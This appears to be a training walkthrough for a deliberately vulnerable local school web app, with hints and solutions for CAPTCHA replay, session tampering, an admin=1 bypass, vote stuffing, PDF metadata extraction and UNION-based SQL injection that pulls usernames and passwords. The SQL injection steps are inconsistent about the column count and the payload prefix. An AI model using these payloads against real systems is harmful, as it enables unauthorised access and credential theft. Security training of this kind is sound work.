BOBBY TABLES (Extra Task)

Vulnerabilities

Challenge

Reuse a CAPTCHA response to flood the system

Challenge Hint

- The student or teacher registration form on this site uses a CAPTCHA to prevent automated abuse but does it really?
- CAPTCHAs are meant to separate humans from bots by requiring a challenge (like identifying distorted text) that's trivial for a person, but hard for a machine. These tests are only effective if:
    - They cannot be reused
    - They expire quickly
    - They cannot be predicted or brute-forced
- Figure out how the CAPTCHA is validated and then submit 10 valid student registrations or teacher registration in under 20 seconds without solving 10 separate CAPTCHAs.
- This specific challenge is to bypass the CAPTCHA on the student registration form or teacher registration form and use it to flood the server with valid submissions, potentially crashing the database.

Solution

1. Register Once Normally
    - Go to the student / teacher registration form.
    - Fill in all details and solve the CAPTCHA.
    - Submit the form.
2. Open Developer Tools → Network Tab
    - Look at the POST request that was sent.
    - Note the captcha_0 (hash key) and captcha_1 (response).
3. Replay the Request
    - Repeat the exact same POST request with the same CAPTCHA key and response multiple times.
    - Tools like Burp Suite, Postman, or browser's "Repeat request" can help.
    - Or write a Python/JavaScript script to automate repeated requests with the same CAPTCHA.
4. Observe Behaviour
    - The server accepts the reused CAPTCHA.

- You can flood the registration endpoint, triggering the database to store multiple fake entries.
- This confirms that CAPTCHA reuse is possible, making the system vulnerable to automated attacks.

Challenge

Access another student's marks without knowing their password.

Challenge Hints

- You're logged in as a student.
- The application uses a session value to fetch marks.
- It doesn't cross-check whether that session belongs to you.
- What if you manipulate that session key to another student's username?

Solution

1. Log in as a valid student and browse to your marks page.
2. Right click anywhere on the page and click on inspect to open DevTools.
3. Go to Application Tab.
4. Inspect SessionStorage and look for anything like student_username.
5. Try changing it from your own username to another valid student.
6. Refresh the marks page, now you can see another students' marks.

Challenge

Access admin-only logs without logging in as an Admin.

Challenge Hint

- Try accessing: http://127.0.0.1:8000/login/view-logs
- Got denied! the view log functionality uses flag of admin as true to access the page.

Solution

1. Check out the code to find out the view log uses admin=1 as the flag for login.
2. When access is denied on the usual URL, try appending ?admin=1 to the URL. http://127.0.0.1:8000/login/view-logs?admin=1

Challenge

Announcement Vote Tampering by bypass single vote restriction

Challenge Hint

- The "View Announcements" page allows students to upvote or downvote announcements made by teachers. The interface visually enforces a one-vote-per-announcement rule — you either upvote or downvote once per announcement.
- But is this restriction really enforced server-side?

- Frontend restrictions like disabling buttons are not security. They can be bypassed with custom JavaScript or external tools like Postman or Burp Suite.
- Your mission is to submit 10 upvotes or 10 downvotes on the same announcement using the same student account. Observe how the vote count increases abnormally, revealing the vulnerability.

Solution

1. Vote Once Normally
    - Log in as a student.
    - Navigate to View Announcements.
    - Click Upvote or Downvote for any announcement.
2. Step 2: Open Developer Tools → Network Tab
    - Capture the POST request sent to /vote_announcement.
    - Note the payload:

    {"announcement_id": "1",
    "vote_type": "upvote"}
3. Run the Exploit
    - Use Postman or custom JavaScript in the browser console.

      For example:

```
for (let i = 0; i < 10; i++) {
   bypassVote(1, 'upvote');
}
```

    - This sends 10 separate POST requests to the backend using the bypassVote() function even though the frontend only allows 1
4. Observe the Impact
    - Go to the announcement list or refresh the page. You'll see:
    - The upvote count has increased by 10
    - Other students are misled about the announcement's popularity

Challenge

PDF Metadata and hidden Annotation Exposure

Challenge Hint

- The "Teacher Announcement" feature allows teachers to upload announcements with PDFs. The frontend displays the PDF normally.
- However, the PDF may contain hidden metadata (author, creation/modification dates, software used) and annotations (comments) that are invisible document attributes
- Frontend rendering does not remove this data, so it can be extracted by anyone who can access the PDF URL.

- Your mission is to retrieve hidden metadata and annotations from an uploaded PDF using browser developer tools, scripts, or tools like pdf.js, Postman, or PDF readers.

Solution

1) Post an announcement
    - Log in as a teacher.
    - Navigate to Make Announcements.
    - Make an announcement and upload a pdf with sensitive meta data and hidden annotations
2) View the announcement
    - Log in as a student.
    - Navigate to view Announcements.
    - Open an announcement with a PDF attachment
    - Click on view file to view the pdf
3) Access PDF Metadata and Annotations via JavaScript
    - Open the browser developer console.
    - Each PDF is linked to a “view file” button with a data-pdf-url attribute. The following script fetches the PDF and logs its metadata and annotations when a button is clicked:

```
document.querySelectorAll('.render-pdf-btn').forEach(btn => {
  btn.addEventListener('click', function () {
    const url = this.dataset.pdfUrl;

    pdfjsLib.getDocument(url).promise.then(async pdfDoc => {
      // Log metadata info
      const data = await pdfDoc.getMetadata();
      console.log("Document Info:", data.info);
      if (data.metadata) {
        console.log("Document Metadata (XML):", data.metadata.getAll());
      } else {
        console.log("No embedded metadata found in PDF.");
      }

      // Loop through all pages to extract annotation comments
      for (let i = 1; i <= pdfDoc.numPages; i++) {
        const page = await pdfDoc.getPage(i);
        const annotations = await page.getAnnotations();
        annotations.forEach(ann => {
          if (ann.subtype === 'Text' && ann.contents) {
            console.log(`Comment on page ${i}: ${ann.contents}`);
          }
        });
      }
    }).catch(err => {
      console.error("Error fetching PDF or metadata:", err);
    });
  });
```

});

4) Observe the Impact:

- Clicking a PDF button exposes hidden metadata such as author, creation date, or private comments.
- Annotations left in the PDF (e.g., teacher comments) may also be visible.
- Sensitive or internal information could be leaked without authentication, purely by interacting with the frontend.

Challenge

Craft a SQL Injection payload to extract user details.

Challenge Hint

- The vulnerable field is a search box.
- The database engine is likely MySQL, so you can use information_schema.
- Your goal is to enumerate tables, columns, and finally extract.
- A UNION SELECT attack merges your injected data into the expected result set.

Solution

- In Student or Teacher dashboard there is search bar which is having SQL injection vulnerability, The pay load need to be delivered to the search bar.
- The attack payload you need to craft is a UNION SELECT merging the data from the information_schema.tables into the search data returned in the result.

  1. ')) UNION SELECT '1' FROM information_schema.tables -- fails with number of result columns error
  2. ')) UNION SELECT '1', '2' FROM information_schema.tables -- fails with number of result columns error
  3. ')) UNION SELECT '1', '2', '3' FROM information_schema.tables -- fails with number of result columns error
  4. (...)
  5. ')) UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9' FROM information_schema.tables -- finally gives you a response back with an extra element.

  Final payload:

```
a' UNION SELECT table_name ,'x', 'x', 'x', 'x', 'x', 'x', 'x' FROM information_schema.tables; --
```

- The attack payload you need to craft is a UNION SELECT merging the data from the information_schema.columns for the needed table into the search data returned in the result.

```
a' UNION SELECT column_name, 'x', 'x', 'x', 'x', 'x', 'x', 'x' FROM information_schema.columns
WHERE table_name = 'login_login'; --
```

- The next step in a UNION SELECT-attack is typically to find the right number of returned columns. As the Search Results table in the UI has 3 columns displaying data, it will probably at least be three. You keep adding columns until no more errors occurs.

```
a' UNION SELECT  username, password, 'x', 'x', 'x', 'x', 'x', 'x' FROM login_login; --
```